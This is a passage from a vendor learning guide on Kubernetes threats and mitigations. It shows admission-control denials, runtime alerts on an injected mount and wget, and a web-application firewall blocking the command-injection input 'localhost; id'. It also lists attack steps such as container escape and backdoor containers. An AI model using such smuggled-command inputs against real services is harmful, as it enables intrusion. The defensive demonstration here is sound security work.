Admission Control can also prevent such pods from ever being deployed (either via cli, by CI/CD, or via API). $ kubectl apply -f hunger-check.yaml Error from server: error when creating "hunger-check.yaml": admission webhook "cloudguard- enforcer-webhook.cloudguard.checkpoint.com" denied the request: [CloudGuard] The request has been blocked according to the GSL rules: 'CPU & Memory Limits Should be Set', 'CPU & Memory Requests Should be Set', 'Image Tag should not be blank', 'Use Read-Only Filesystem', 'Do not admit root containers', 'Run as a high-UID user'

Threat and Security event logs

Besides CPU & Memory limits, other issues have also been detected:

33

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Do not admit root containers

Use Read-Only root filesystem

34

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

Assets | Environments | Admission control view

RUNTIME PROTECTION – CWPP

CloudGuard monitors the Kernel system calls that workload containers perform in real-time. Runtime Protection mechanism combines two engines:

• Signatures – Compares the observed behavior of a workload with known signatures that potentially indicate malicious behavior. For example, the execution of processes associated with crypto-mining software.

• Profiling – Detects anomalies in behavior in relation to a baseline profile created during a special profiling phase. For example, the execution of a sub-process that does not occur during regular workload operations may indicate an RCE attack.

Let’s try to repeat the attack described in Step 3a – Backdoor container / Docker in Docker. After finalizing the profiling of the health-check deployment, the system will get to know the following processes:

Runtime profiling

35

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

The injected mount command generates an alert

And wget

APPSEC – CWPP, CNS

CloudGuard AppSec protects web applications, prevents OWASP Top 10 attacks, and quickly discerns human from non-human traffic to stop automated attacks. It also protects APIs and stops exploits against applications.

Most importantly, AppSec allows security teams and DevOps to apply security practices such as: • Access Control • Threat Prevention • Web Application and API Protection • IoT Protection

36

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

After adding AppSec to the Kubernetes ingress controller, pings via health-check deployments will still work:

Ping localhost

However, the command injection attack will be blocked:

localhost; id – blocked

Appsec log

Incident info

37

CLOUD-NATIVE SECURITY - Kubernetes Threats and Mitigations

CONCLUSION Digital transformation expedited the shift to cloud infrastructure-centric architectures. Now, we are experiencing a rapid shift from cloud infrastructure-centric architectures to cloud-native service architectures. We are all rising to the challenges of increasing demand for agile application development and delivery, increasing operational integrity, efficiency, and resiliency; seamless integration with cloud development tools, platforms, and services; and cybersecurity. With the rapid adoption of new cloud-native services and technologies, risks are not always known because vulnerabilities and threats are not well understood. Understanding the potential cybersecurity challenges and pitfalls of cloud-native technologies is paramount.

Check Point’s approach to cybersecurity relates and aligns to the 4Cs (cloud, cluster, container, code) and Gartner CNAPP model. We designed this learning guide from the perspective of a cloud-native environment and detailed specific attacks and mitigations for Kubernetes and containers. This allowed us to see the further abstraction of application workloads and application development from the underlying network, infrastructure, and platforms. Importantly, we already see the wide adoption of Functions-as-a-Service, which is an excellent subject for a future guide!

To conclude, Check Point’s DNA is cybersecurity; we have the expertise, platforms, and tools to secure your journey to the cloud. Therefore, the dream of building multilayered “security in” is truly attainable and starts in the CI/CD pipeline with security automation.

Remember, cybersecurity can’t be a tradeoff for agility, so we’re here to secure cloud infrastructure, cloud- native, DevOps, and the CI/CD pipeline.

Introduction Cyber attack Kill Chain MITRE ATT&CK

Problem Areas Security Technologies Cloud Native Application Protection Platform 4C Model 4C and CNAPP Adjacency

Cyber-chain Example Step 1 – Exec into container Step 1a – Exec into container / Command injection Step 1b – Exec into container / RCE vulnerability

Step 2 Container escape Step 2a – Access container service account Step 2b – hostPath mount

Step 3 – Backdoor container Step 3a – Backdoor container / Docker in Docker Step 3b – Backdoor container / Kubernetes API

Step 4 – Network mapping and Cluster internal networking Step 4a – Cluster internal networking / Redis Step 4b – Cluster internal networking

Step 5 – Impact Step 5a – Impact / Denial of services Step 5b – Impact / Resource hijacking

Mitigation Posture Management – CSPM Ensure pods outside of the kube-system do not have access to node volume Description Remediation GSL Tags

Ensure that Containers are not running in privileged mode Description Remediation GSL Tags

Apply Security Context to Your Pods and Containers Description Remediation GSL Tags

Do not admit root containers Description Remediation GSL Tags

Ensure containers are secured with AppArmor profile Description Remediation GSL Tags

Ensure that the seccomp profile is set to docker/default in your pod definitions Description Remediation GSL Tags

Ensure that the default namespace is not used Description Remediation GSL Tags

Intelligence and Threat Hunting – CWPP, CNS Image Assurance – CWPP Admission Control – CWPP Runtime Protection – CWPP AppSec – CWPP, CNS

CONCLUSION